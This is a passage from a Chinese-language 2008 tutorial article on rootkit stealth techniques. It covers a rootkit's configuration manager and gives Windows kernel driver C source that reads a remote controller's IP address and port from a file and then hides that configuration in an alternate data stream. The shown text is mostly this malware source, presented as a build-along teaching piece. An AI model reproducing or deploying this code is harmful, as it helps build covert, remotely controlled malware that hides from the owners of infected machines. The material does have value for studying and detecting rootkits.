Rootkit隐形技术入门
作者: 宇文, 出处:51CTO.com , 责任编辑: 韩博颖,
2008-03-24 09:28
在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。
三、配置管理器
我们的rootkit主体已经建好,不过要想让它干活,还得做些必要的配置。比如,如果需要对其进行远程控制的话,就需要配置相应的连接。所以,我们还需要一个配置管理器,来完成配置rootkit的工作。下面是Rootkit配置管理器的头文件:
| // configManager.h // 配置管理器的头文件 #ifndef _CONFIG_MANAGER_H_ #define _CONFIG_MANAGER_H_ Char masterPort[10]; Char masterAddress1[4]; Char masterAddress2[4]; Char masterAddress3[4]; Char masterAddress4[4]; NTSTATUS Configure(); #endif |
| // configManager.c // 首先从c:\config16寻找配置文件 // If it's there, save as MASTER_FILE:config16 and delete c:\config16 // If it's not there, try MASTER_FILE:configFile // If that doesn't exist, quit! #include "ntddk.h" #include "fileManager.h" #include "configManager.h" // Set the controllers IP and port NTSTATUS Configure() { CHAR data[21]; SHORT vis = 0; SHORT loop; SHORT dataIndex; SHORT addressIndex; ULONG fileSize; PHANDLE fileHandle; //了解读哪个文件 if( NT_SUCCESS( GetFile( L"\\??\\C:\\config16", data, 21, &fileSize ) ) ) { DbgPrint("comint16: Reading config from visible file."); vis = 1; } else { if( NT_SUCCESS( GetFile( L"config16", data, 21, &fileSize ) ) ) { DbgPrint("comint16: Reading config from hidden file."); } else { DbgPrint("comint16: Error. Could not find a config file."); return STATUS_UNSUCCESSFUL; } } //将控制端地址和端口转换成aaa.bbb.ccc.ddd:eeeee格式 dataIndex = 0; addressIndex = 0; // First 3 are xxx of xxx.111.111.111:11111 for( loop = 0; loop < 3; loop++ ) masterAddress1[addressIndex++] = data[dataIndex++]; masterAddress1[addressIndex] = 0; addressIndex = 0; //复位 dataIndex++; //跳过点号“.” //接下来是111.xxx.111.111:11111中的xxx for( loop = 0; loop < 3; loop++ ) masterAddress2[addressIndex++] = data[dataIndex++]; masterAddress2[addressIndex] = 0; addressIndex = 0; //复位 dataIndex++; //跳过点号“.” //然后处理111.111.xxx.111:11111中的xxx for( loop = 0; loop < 3; loop++ ) masterAddress3[addressIndex++] = data[dataIndex++]; masterAddress3[addressIndex] = 0; addressIndex = 0; //复位 dataIndex++; //跳过点号“.” //然后处理111.111.111.xxx:11111中的xxx for( loop = 0; loop < 3; loop++ ) masterAddress4[addressIndex++] = data[dataIndex++]; masterAddress4[addressIndex] = 0; addressIndex = 0; //复位 dataIndex++; //跳过冒号“:” //接下来的五位数是111.111.111.111:xxxxx中的端口号xxxxx for( loop = 0; loop < 5; loop++ ) masterPort[addressIndex++] = data[dataIndex++]; masterPort[addressIndex] = 0; DbgPrint( "comint16: Using %s.%s.%s.%s:%s", masterAddress1, masterAddress2, masterAddress3, masterAddress4, masterPort); if( vis == 1 ) { DbgPrint("comint16: Saving config to hidden file."); PutFile( L"config16", data, fileSize ); DbgPrint("comint16: You may delete the visible file."); } return STATUS_SUCCESS; } |
上面提到了用交换数据流来隐藏文件。也许您对这个概念还不太熟悉,那好,下面我们就开始介绍交换数据流。
- 本文关键词:

